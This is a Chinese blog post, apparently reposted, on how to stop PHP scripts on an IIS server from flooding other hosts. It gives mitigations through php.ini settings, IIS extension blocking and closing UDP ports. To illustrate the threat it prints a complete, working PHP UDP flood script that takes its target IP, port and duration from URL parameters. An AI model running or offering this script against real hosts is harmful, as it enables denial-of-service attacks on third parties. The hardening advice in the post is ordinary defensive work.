当前位置:   article > 正文

iis防止php ddos占完网络带宽与服务器资源解决方法_iis 转发后返回的数据还会占用原来的带宽吗?

iis 转发后返回的数据还会占用原来的带宽吗?
用PHP代码调用sockets,直接用服务器的网络攻击别的IP,以前我在apache下有碰到这样的问题,今天我们讲讲述一下关于在iis防止php ddos占完网络带宽与服务器资源的处理办法。

php ddos的常见代码如下:

  1. $packets = 0;
  2. $ip = $_GET['ip'];
  3. $rand = $_GET['port'];
  4. set_time_limit(0);
  5. ignore_user_abort(FALSE);
  6. $exec_time = $_GET['time'];
  7. $time = time();
  8. print "Flooded: $ip on port $rand
  9. ";
  10. $max_time = $time+$exec_time;
  11. for($i=0;$i<65535;$i++){
  12. $out .= "X";
  13. }
  14. while(1){
  15. $packets++;
  16. if(time() > $max_time){
  17. break;
  18. }
  19. $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
  20. if($fp){
  21. fwrite($fp, $out);
  22. fclose($fp);
  23. }
  24. }
  25. echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";
  26. ?>

表现特征:

一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.

解决办法:

在c:/windows/php.ini里设其值为Off

allow_url_fopen = Off

并且:

;extension=php_sockets.dll

前面的;号一定要有,意思就是限制用sockets.dll

然后:

; ignore_user_abort = On

前面的;号要去掉

然后重启IIS

如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.

注:如果你的服务器不要运行机制php可以关闭,如果需要的话可以把php_sockets.dll 给禁止,还有一种办法就是把udp端口全部封了,只要80等一些重要的端口开放就可以了。




声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Li_阴宅/article/detail/897390
推荐阅读
相关标签
  

闽ICP备14008679号